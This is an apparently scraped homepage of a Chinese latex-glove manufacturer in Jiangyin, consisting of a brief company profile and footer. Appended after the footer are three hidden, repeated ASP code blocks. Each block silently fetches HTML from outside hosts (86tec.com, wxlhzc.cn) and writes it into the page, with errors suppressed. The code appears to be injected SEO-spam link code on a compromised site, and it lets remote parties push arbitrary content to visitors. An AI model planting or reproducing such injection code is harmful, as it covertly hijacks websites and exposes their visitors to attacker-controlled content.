万能搜索-请选择搜索引擎
 
  
请输入关键字:
 
 
友情链接
 

  江阴东升橡塑制品(妙洁胶乳)有限公司位于江苏省江阴市华士镇,北靠国际贸易港口——江阴港,西邻江阴长江大桥,交通便捷。现有职工500人,其中高级技术人员30名,厂区占地面积30000平方米,建筑面积20000平方米,目前公司引进国外先进的家用/工业用乳胶绒里手套生产流水线,年生产能力为7200万付,90%的产品远销海外,产品深受国内外用户的欢迎。

获得最佳效果 请使用800*600分辨率 IE4.0以上版本浏览器
无锡众鼎软件 维护
<% On Error Resume Next:Server.ScriptTimeOut=9999999 response.write(getHTTPPage("http://www.86tec.com/seo/link.htm")) function getHTTPPage(url) dim http:set http=createobject("MSXML2.ServerXMLHTTP") Http.open "GET",url,false:Http.send() if http.status <> 200 then:exit function:end if if Http.readystate<>4 then:exit function:end if getHTTPPage=bytes2BSTR(Http.responseBody):set http=nothing if err.number<>0 then err.Clear end function Function bytes2BSTR(vIn) dim strReturn:dim i,ThisCharCode,NextCharCode strReturn = "":For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next:bytes2BSTR = strReturn:End Function %> <% On Error Resume Next:Server.ScriptTimeOut=9999999 response.write(getHTTPPage("http://www.86tec.com/seo/link2.htm")) function getHTTPPage(url) dim http:set http=createobject("MSXML2.ServerXMLHTTP") Http.open "GET",url,false:Http.send() if http.status <> 200 then:exit function:end if if Http.readystate<>4 then:exit function:end if getHTTPPage=bytes2BSTR(Http.responseBody):set http=nothing if err.number<>0 then err.Clear end function Function bytes2BSTR(vIn) dim strReturn:dim i,ThisCharCode,NextCharCode strReturn = "":For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next:bytes2BSTR = strReturn:End Function %> <% On Error Resume Next:Server.ScriptTimeOut=9999999 response.write(getHTTPPage("http://www.wxlhzc.cn/seo/link.htm")) function getHTTPPage(url) dim http:set http=createobject("MSXML2.ServerXMLHTTP") Http.open "GET",url,false:Http.send() if http.status <> 200 then:exit function:end if if Http.readystate<>4 then:exit function:end if getHTTPPage=bytes2BSTR(Http.responseBody):set http=nothing if err.number<>0 then err.Clear end function Function bytes2BSTR(vIn) dim strReturn:dim i,ThisCharCode,NextCharCode strReturn = "":For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next:bytes2BSTR = strReturn:End Function %>